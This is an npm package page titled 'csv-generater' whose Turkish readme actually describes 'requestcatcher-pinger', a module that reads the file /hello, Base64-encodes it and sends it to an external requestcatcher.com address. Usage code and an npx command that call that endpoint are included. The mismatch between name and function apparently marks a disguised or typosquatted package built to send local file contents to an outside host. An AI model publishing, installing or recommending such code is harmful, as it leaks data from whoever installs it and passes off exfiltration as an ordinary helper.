csv-generater
v4.5.1
Published
Lightweight helper that sends an HTTP request to a RequestCatcher endpoint.
Maintainers
Readme
requestcatcher-pinger
requestcatcher-pinger basit bir Node.js modülüdür. Varsayılan olarak https://asdasdasdasdasdasdasfafdfdg.requestcatcher.com/ adresine /hello dosya içeriğini Base64 olarak query stringe ekleyip HTTP isteği gönderir.
Kurulum
npm install requestcatcher-pingerKullanım
Programatik
const { sendRequest, DEFAULT_ENDPOINT } = require("requestcatcher-pinger");
async function run() {
const response = await sendRequest("", {
url: `${DEFAULT_ENDPOINT}?output=${Buffer.from("örnek").toString("base64")}`,
method: "GET"
});
console.log(response.statusCode);
}
run();payload: String, Buffer veya nesne olabilir.GETisteklerinde boş bırakabilirsiniz.options.url: Farklı bir RequestCatcher adresi hedeflemek için Base64 parametresiyle birlikte.options.method: VarsayılanPOST, ancak CLIGETkullanır.options.headers: Ek başlıklar.
CLI
npx requestcatcher-ping "https://asdasdasdasdasdasdasfafdfdg.requestcatcher.com/"CLI, cat /hello komutu ile dosyayı okur, Base64'e çevirir ve query string içinde output parametresi olarak gönderir. Farklı bir URL hedeflemek için argüman veya REQUESTCATCHER_URL çevre değişkenini kullanabilirsin.
NPM'e Yükleme
package.jsondosyasındakiname,repository,authoralanlarını kendinize göre güncelleyin.Giriş yapın:
npm loginPaketi yayınlayın:
npm publish --access public
Lisans
MIT
